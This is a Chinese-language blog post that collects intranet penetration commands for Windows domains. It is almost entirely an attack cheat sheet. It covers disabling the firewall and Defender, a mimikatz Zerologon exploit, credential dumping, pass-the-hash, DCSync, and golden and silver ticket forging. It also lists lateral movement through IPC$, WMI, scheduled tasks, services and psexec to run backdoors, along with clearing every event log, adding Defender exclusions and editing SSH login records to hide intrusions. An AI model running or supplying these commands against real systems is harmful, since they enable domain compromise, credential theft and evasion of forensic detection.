Drunkmars's Blog

内网渗透命令

字数统计: 3k阅读时长: 14 min
2021/04/02

本文为内网渗透一些常用命令的总结。

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
net命令

net time /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net user administrator /domain
nltest /domain_trusts 获取域信任关系
nltest /dclist:
net share
net view \\domainip
net view /domain 查看域/工作组列表
net view /domain:secwing 查看secwing域中 计算机列表
net config Workstation 查询机器属于哪个域
netstat -ano |findstr
net accouts 查看本地密码策略



set 查看环境变量
nbtstat -A ip netbiso查询
whoami /all
qwinsta //查看登录情况
query user //查看管理员最近登陆时间
nltest /domain_trusts //获取域信任信息

taskkill /f /im
tasklist /svc 查看进程
tasklist /S ip /U domain\username /P /V //查看远程计算机进程列
tracert IP //路由跟踪

route print //打印路由表
arp -a //列出本网段内所有活跃的IP地址
arp -s (ip + MAC)//绑定mac与ip地址
arp -d (ip + MAC) //解绑mac与ip地址

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve
获取最近mstsc登录的记录

setspn -Q \*/\* SPN列表

文件查找

1
2
3
4
5
6
7
8
使用命令查找包含密码的文件
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
查找文件位置
dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf

远程

1
2
3
4
5
6
7
8
9
10
11
关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off

关闭windefend
net stop windefend
防火墙恢复默认
netsh firewall reset

开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

CVE-2020-1472

1
2
3
4
5
6
7
8
9
10
11
privilege::debug

sekurlsa::logonpasswords

lsadump::zerologon /target:ip /account:ADC1$

lsadump::zerologon /target:ip /account:ADC1$ /exploit

lsadump::dcsync /domain:DC2.com /dc:DC2 /user:administrator /authuser:DC2$ /authdomain:DC2 /authpassword:"" /authntlm

sekurlsa::pth /user:administrator /domain:. /rc5:161cff084477fe596a5db81874498a24

IPC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
net use \\ip\ipc$ password /user:domain\user

net use [url=file://\\IP\ipc$]\\IP\ipc$[/url] password /user:username@domain

copy putty.exe \\192.168.0.100\admin$
net time \\192.168.0.100
at \\192.168.0.100 19:45 putty.exe
net use Z: \\192.168.0.100\c$ 将靶机c盘映射到本地
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
net use * \\192.168.0.100 /del

net use * /del /y
net use * /del

net use 查看会话
net session

WMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
wmic qfe get hotfixid //查看已安装过得补丁,这个很实用
wmic qfe list full /format:htable > hotfixes.htm //详细的补丁安装
wmic qfe //查询补丁信息以及微软提供的下载地址 ping hostname(主机名) //显示该机器名的IP
wmic share get name,path //查看SMB指向的路径
wmic nteventlog get path,filename,writeable //查询系统日志文件存储位置
wmic service list brief //查看进程服务
wmic process list brief //查看进程
wmic startup list brief //查看启动程序信息
wmic product list brief //查看安装程序和版本信息(漏洞利用线索)
wmic startup list full //识别开机启动的程序
wmic process where(description="mysqld.exe") >> mysql.log //获取软件安装路径

wmic /node:ip /user: /p pwd process call create c:\backdoor.exe

wmic /node /user: /password: process wher e name="cmd.exe" cll terminate

wmic /node:10.10.10.11 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig>c:\result.txt"

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

wmic /node /user /password process where name="cmd.exe" get CommandLine

计划任务

AT/Schtasks

  • AT命令(win server2012已遗弃)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    建立net use 连接
    net use \\192.168.1.100\c$ 1qaz@WSX /user domain\user
    复制bat文件到远程计算机
    copy exec.bat \\192.168.1.100\c$\windows\debug\exec.bat
    查看远程计算机时间
    net time \\192.168.1.100
    新建远程计划任务
    at \\192.168.1.100 21.52 c:\windows\temp\exec.bat
    查看远程计划任务列表
    at \\192.168.1.100
  • Schtasks:

    1
    2
    3
    4
    5
    6
    7
    创建任务
    schtasks /create /s ip /u administrator /password /ru "system" /tn adduser(名称) /sc DAILY(时间) /tr c:\windows\debug\add.bat /f
    运行任务
    schtasks /run /s ip /u administrator /p password /tn adduser /i
    schtasks /run /tn update /$ 10.10.10.137 /u test \administrator /p 1qaz@WSX
    删除任务
    schtasks /delete /s ip /u administrator /p password /tn adduser /f
  • SC

    服务控制命令,微软内置,配合文件共享,远程创建服务

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    建立ipc连接 执行SC
    net use \\192.168.17.138\c$ "admin123" /user:pt007
    net use
    dir \\192.168.17.138\c$
    copy test.exe \\192.168.17.138\c$
    创建服务
    sc \\remote_ip create services_name binpath= c:\backdoor.exe
    sc \\10.10.10.10 create update binpath= c:\programdata\a.bat
    启动服务
    sc \\remote_ip start services_name
    sc \\10.10.10.10 start update
    停止服务
    sc \\remote_ip stop serviece_name
    sc \\10.10.10.10 stop update
    删除服务
    sc \\remote_ip delete service_name
    sc \\10.10.10.10 delete update

端口转发

Netsh端口转发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
netsh firewall show config //查看防火墙策略

netsh firewall show state //查看防火墙策略
开启端口转发
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport



打开防火墙
netsh advfirewall firewall add rule name="firewallname" protocol=TCP dir=in localip=ip localport=port action=allow

显示所有转发规则
netsh interface portproxy show all

删除转发
netsh interface portproxy delete v4tov4 listenport=port listenaddress=ip

重置
netsh interface portproxy reset

SSH转发

1
2
3
4
5
6
7
8
1.ssh正向端口转发
ssh -L [<local host>:] <local port>:<remote host>:<remote port><ssh hostname>

2.ssh反向端口转发
ssh -R [<local host>:]<local port>:<remote host>:<remote port><ssh hostname>

3.ssh socks代理
ssh -D [<local host>:] <local port><ssh hostname>

后门

黄金票据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
黄金票据的条件要求:
1.域名称
2.域的SID值 whoami /user
3.域的Krbtgt账户NTLM密码哈希
4.伪造用户名

sekurlsa::pth /user:administrator /domain:"GOD.org" /ntlm:61465a991b168727b65b3644aab823cd
登陆用户 域地址 ntlm加密值
这里会弹出一个CMD框 我们先用看看自己是否有权限 dir \\OWA.GOD.org\c$ 【查看域控C盘】

dir \\\\DC.zkaq.cn\c$

lsadump::dcsync /user:krbtgt /domain: 获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]

提取出里面的sid和hashNTLM

kerberos::golden /admin:administrator /domain:GOD.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:administrator.kiribi [制作票据]

kerberos::ptt administrator.kiribi [加载票据]

直接注入黄金票据

kerveros::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:domainsid /krbtgt:hash /ptt

kerberos::purge 清空票据

privilege::debug


等待管理员登录获取密码
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::memssp
Injected =)

mimikatz # exit

白银票据

1
2
3
4
5
6
7
8
9
查看当前用户sid
whoami /user

获取目标计算机哈希
sekurlsa::logonpasswords

1472漏洞
生成白银票据
kerberos::golden /sid:domainsid /domain:test.local /ptt /id:伪造用户ID /target:mdc.test.local /service:cifs /rc:目标计算机hash /user:伪造用户名

工具

dsquery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dsquery.exe user -limit 0#查询用户对象信息
dsquery.exe group -limit 0 #查询组对象信息
dsquery.exe ou -limit 0#查询OU对象信息
dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名
dsquery server -domain supre.com | dsget server -dnsname -site //搜索域内所有域控制器并显示他们的DNS主机名和站点名称
dsquery contact //寻找目录中的联系人
dsquery subnet //列出该域内网段划分
dsquery group && net group /domain //列出该域内分组
dsquery ou //列出该域内组织单位
dsquery server && net time /domain //列出该域内域控制器
dsquery site -o rdn //搜索域中所有站点名称
dsquery group dc=GOD,dc=org |more 搜索在dc=god,dc=org域中的所有组
dsquery.exe computer #查找目标中的计算机
dsquery.exe site #查找目录中的组织单位
dsquery.exe server #查找目录中的AD DC/LDS 实例

ADExplorer

ADfind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
AdFind -sc dclist   #列出域控制器名称
AdFind -sc computers_active #查询当前域中在线的计算机
AdFind -sc computers_active name operatingSystem #查询当前域中在线的计算机(只显示名称和操作系统)
AdFind.exe -sc computers_active name dnshostname #查询域中活动的主机,输出主机名和域名
AdFind -f "objectcategory=computer" #查询当前域中所有计算机
AdFind -f "objectcategory=computer" name operatingSystem #查询当前域中所有计算机(只显示名称和操作系统)
AdFind -users name #查询域内所有用户
AdFind -sc gpodmp #查询所有GPO
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* #查询域内所有用户详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test #查询域内特定用户详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test mail #查询域内特定用户特定信息(mail)
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -dn #查询域内所有用户dn信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -c #查询域内用户数量
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:* #查询域内所有组详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:*Admin #查询域内组名包含 Admin 的所有组详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc o:* #查询域内所有OU详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc c:* #查询域内所有计算机详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc s:* #查询域内所有站点详细信息

psexec paexec

1
2
3
4
5
6
7
8
psexec.exe -accepteula \\10.10.10.137 -u test\administrator -p 1qaz@WSX -i cmd.exe

psexec.exe -accepteula -i -s -d cmd

paexec.exe \\ip -u domain\user -p pwd cmd.exe -noname
net use \\ip pwd /u:domain\user paexec.exe \\ip cmd.exe

netsh winhttp sh proxy 查看代理

winrm

端口复用入网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
winrm quickconfig -q

winrm s winrm/config/Client @{TrustedHosts="*"}

新增80端口监听

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

修改5985到80

winrm set winrm/config/Listener?Address=*+Transprot=HTTP @{port=80}

修改WinRM端口为web端口

winrs -r:http://xx -u:DC20\administratror -p:1qaz@WSX cmd

信息获取

powerview

1
2
3
4
5
6
加载
Imoport-Module .\PowerView.ps1
#执行查询
Get-DomainGroup #查询组的详细信息
Get-DomainOU #查询OU的详细信息
Get-DomainUser #查询用户的详细信息

psloggendon.exe

1
2
3
4
5
6
psloggedon.exe 用户名 
-l只显示本地登陆用户而不显示其它的网络登陆用户
-x不显示登陆时间
显示远程机器现在登陆的用户可以打:
psloggedon \\远程机器ip
首次使用加 -accepteula 不显示版权信息

netsess.exe

1
netsess.exe \\PRIMARY

PVEFindADUser.exe

1
PVEFindADUser.exe -current

wevtutil

1
2
3
4
5
6
7
8
9
10
11
wevtutil epl Security C:\log.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 259200000]]]" /r:远程计算机IP /u:用户名 /p:密码

#epl 导出日志
#Security 表示安全日志
#C:\log.evtx 代表导出日志的位置,远程导出的话会导出到远程计算机上。
#/q: 代表日志查询语句
#System[(EventID=4624) 代表时间ID为4624,即用户登录成功的日志
#EventData[Data[@Name='LogonType']='3']代表登录类型为网络登录
#TimeCreated[timediff(@System Time) <= 259200000] 代表只导出最近一个月的日志,259200000的单位为毫秒,可根据实际需求自行改变数字大小。
#本地导出的话不需要指定/r选项
#wevtutil的更多用法参见其帮助文档,可用于删除windows日志。

logparser

1
2
3
4
5
6
7
8
9
10
11
LogParser.exe -i:EVT -o csv "SELECT distinct TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\*.evtx" > C:\log.csv

# -i:EVT 代表日志输入格式为evtx
# -o csv 代表输出格式为csv
# 双引号里的内容为查询语句
# distinct 代表将结果去重
# TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME 从登录日志中解析出日志名
# USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) 从登录日志中解析出登录来源
# *.evtx可以同时处理多个日志文件
# 可以通过以下命令查看登录日志的详细信息
LogParser.exe -i:EVT -o:DATAGRID "select * from *.evtx"

痕迹清理

wevtutil

1
2
3
4
5
6
7
8
9
wevtutil el 列出系统中所有日志的名称

wevtutil cl system 清理系统日志

wevtutil cl application 清理应用程序日志

wevtutil cl security 清理安全日志

for /f "delims=" %j in('wevtutil.exe el') do @wevtutil.exe cl "%j" c:\windows\system32\winevt\logs\

windows defender

1
2
3
4
5
6
7
"C:\PROGRA~1\WINDOW~1\mpcmdrun.exe" -Restore -ListAll

powershell -Command Add-MpPreference -ExclusionPath "C:\tmp"
powershell -Command Add-MpPreference -ExclusionExtension".java"
powershell -Command Add-MpPreference -ExclusionProcess"*.exe"

powershell -Command Get-MpPreference

ssh 登录信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/var/log/btmp   记录所有登录失败信息,使用 lastb 命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间日志,使用 lastlog 命令查看
/var/log/wtmp 记录所有用户的登录,注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志

登录ssh时显示的上次登录记录
last login 时间 fromn ip

记录在文件 /var/log/lastlog ~/.ssh/known_hosts
可以使用sed替换
sed -i 's/自己ip/原ip' /var/log/lastlog

sed -i '/当天日期/'d filename

隐身登录系统,不会被 w,who,last 等指令检测到
ssh -T root@192.168.01 /bin/bash -i
CATALOG
  1. 1. 信息收集
    1. 1.1. 文件查找
    2. 1.2. 远程
      1. 1.2.1. CVE-2020-1472
  2. 2. IPC
  3. 3. WMI
  4. 4. 计划任务
  5. 5. 端口转发
    1. 5.1. Netsh端口转发
    2. 5.2. SSH转发
  6. 6. 后门
    1. 6.1. 黄金票据
    2. 6.2. 白银票据
  7. 7. 工具
    1. 7.1. dsquery
    2. 7.2. ADExplorer
    3. 7.3. ADfind
    4. 7.4. psexec paexec
    5. 7.5. winrm
  8. 8. 信息获取
    1. 8.1. powerview
    2. 8.2. psloggendon.exe
    3. 8.3. netsess.exe
    4. 8.4. PVEFindADUser.exe
    5. 8.5. wevtutil
    6. 8.6. logparser
  9. 9. 痕迹清理
    1. 9.1. wevtutil
    2. 9.2. windows defender
    3. 9.3. ssh 登录信息